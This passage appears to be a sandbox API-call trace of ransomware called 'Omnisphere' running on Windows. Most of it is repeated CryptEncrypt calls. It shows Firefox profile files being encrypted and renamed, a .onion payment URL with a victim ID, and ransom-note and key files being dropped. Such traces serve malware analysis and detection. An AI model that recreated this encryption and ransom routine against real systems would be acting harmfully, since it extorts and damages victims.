out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.699] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.700] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.709] CryptDestroyKey (hKey=0x1639628) returned 1 [0155.709] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0155.709] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x44669, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.710] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0155.710] GetProcessHeap () returned 0x1600000 [0155.710] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ce) returned 0x1732ac8 [0155.710] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml.omnisphere")) returned 1 [0155.711] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.omnisphere.id" [0155.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.712] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0155.713] CloseHandle (hObject=0x388) returned 1 [0155.713] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0155.715] CloseHandle (hObject=0x3c0) returned 1 [0155.715] SetEndOfFile (hFile=0x288) returned 1 [0155.716] FlushFileBuffers (hFile=0x288) returned 1 [0155.728] CloseHandle (hObject=0x288) returned 1 [0155.728] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0155.728] GetProcessHeap () returned 0x1600000 [0155.728] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1732da0 [0155.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.728] GetProcessHeap () returned 0x1600000 [0155.728] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd820 [0155.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd820, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.728] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.728] GetProcessHeap () returned 0x1600000 [0155.728] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726c98 [0155.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726c98, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.728] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.728] GetProcessHeap () returned 0x1600000 [0155.728] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1731d48 [0155.728] PathCombineW (in: pszDest=0x1731d48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0155.729] GetProcessHeap () returned 0x1600000 [0155.729] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171fc58 [0155.729] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.729] WriteFile (in: hFile=0x288, lpBuffer=0x171fc58*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x171fc58*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0155.729] CloseHandle (hObject=0x288) returned 1 [0155.729] GetProcessHeap () returned 0x1600000 [0155.729] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1732da0 | out: hHeap=0x1600000) returned 1 [0155.729] GetProcessHeap () returned 0x1600000 [0155.729] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c868 [0155.729] PathCombineW (in: pszDest=0x162c868, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0155.730] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.730] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0155.730] CloseHandle (hObject=0x288) returned 1 [0155.730] GetProcessHeap () returned 0x1600000 [0155.730] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c868 | out: hHeap=0x1600000) returned 1 [0155.730] GetProcessHeap () returned 0x1600000 [0155.730] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0155.730] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="bookmarkbackups", cAlternateFileName="BOOKMA~1")) returned 1 [0155.730] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe645e15, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe645e15, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="cert8.db", cAlternateFileName="")) returned 1 [0155.730] GetProcessHeap () returned 0x1600000 [0155.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb4) returned 0x172c1c8 [0155.730] PathCombineW (in: pszDest=0x172c1c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="cert8.db" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" [0155.730] StrStrW (lpFirst=".omnisphere", lpSrch=".db") returned 0x0 [0155.730] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.735] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=65536) returned 1 [0155.735] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xfadc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.735] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0155.737] GetTickCount () returned 0x1166b54 [0155.737] GetTickCount () returned 0x1166b54 [0155.737] GetTickCount () returned 0x1166b54 [0155.737] GetTickCount () returned 0x1166b54 [0155.737] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] GetTickCount () returned 0x1166b54 [0155.738] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668570) returned 1 [0155.739] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0155.739] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0155.740] CryptDestroyKey (hKey=0x1639528) returned 1 [0155.740] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0155.740] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10000, lpName=0x0) returned 0x3c0 [0155.740] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10000) returned 0x1480000 [0155.752] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668f00) returned 1 [0155.752] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0155.752] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.753] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 